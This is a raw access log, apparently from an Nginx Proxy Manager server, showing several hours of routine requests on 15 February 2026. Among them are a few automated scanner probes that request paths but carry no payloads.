[15/Feb/2026:06:43:30 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 95.215.0.144] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:06:43:30 +0000] 404 - GET http 222.117.41.51 "/aab9" [Client 95.215.0.144] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" "-"
[15/Feb/2026:06:43:51 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 93.174.93.12] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:06:47:22 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:06:49:43 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:06:55:03 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:07:01:06 +0000] 200 - GET http 222.117.41.51 "/" [Client 43.167.232.38] [Length 568] [Gzip 1.86] "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
[15/Feb/2026:07:22:17 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:07:32:00 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 147.185.132.97] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:07:32:00 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 147.185.132.97] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:07:34:35 +0000] 404 - GET http 222.117.41.51 "/developmentserver/metadatauploader" [Client 20.80.105.83] [Length 122] [Gzip 1.35] "Mozilla/5.0 zgrab/0.x" "-"
[15/Feb/2026:07:41:27 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[15/Feb/2026:07:42:53 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:07:48:01 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:07:48:54 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:08:11:52 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:08:12:29 +0000] 404 - GET http 222.117.41.51 "/cgi-bin/luci/" [Client 87.120.191.81] [Length 150] [Gzip -] "-" "-"
[15/Feb/2026:08:30:05 +0000] 200 - GET http 222.117.41.51 "/" [Client 212.132.127.66] [Length 1033] [Gzip -] "-" "-"
[15/Feb/2026:08:37:36 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:08:38:05 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:08:46:46 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:08:46:50 +0000] 400 - - http localhost "-" [Client 20.65.195.96] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:08:55:12 +0000] 200 - GET http 222.117.41.51 "/" [Client 195.3.221.86] [Length 1033] [Gzip -] "-" "-"
[15/Feb/2026:09:02:33 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:09:06:05 +0000] 200 - GET http 222.117.41.51 "/" [Client 195.3.221.86] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0" "-"
[15/Feb/2026:09:30:00 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[15/Feb/2026:09:30:46 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:09:30:47 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:09:39:38 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:09:44:27 +0000] 200 - GET http 222.117.41.51 "/" [Client 130.12.180.151] [Length 1033] [Gzip -] "Hello World" "-"
[15/Feb/2026:09:54:15 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"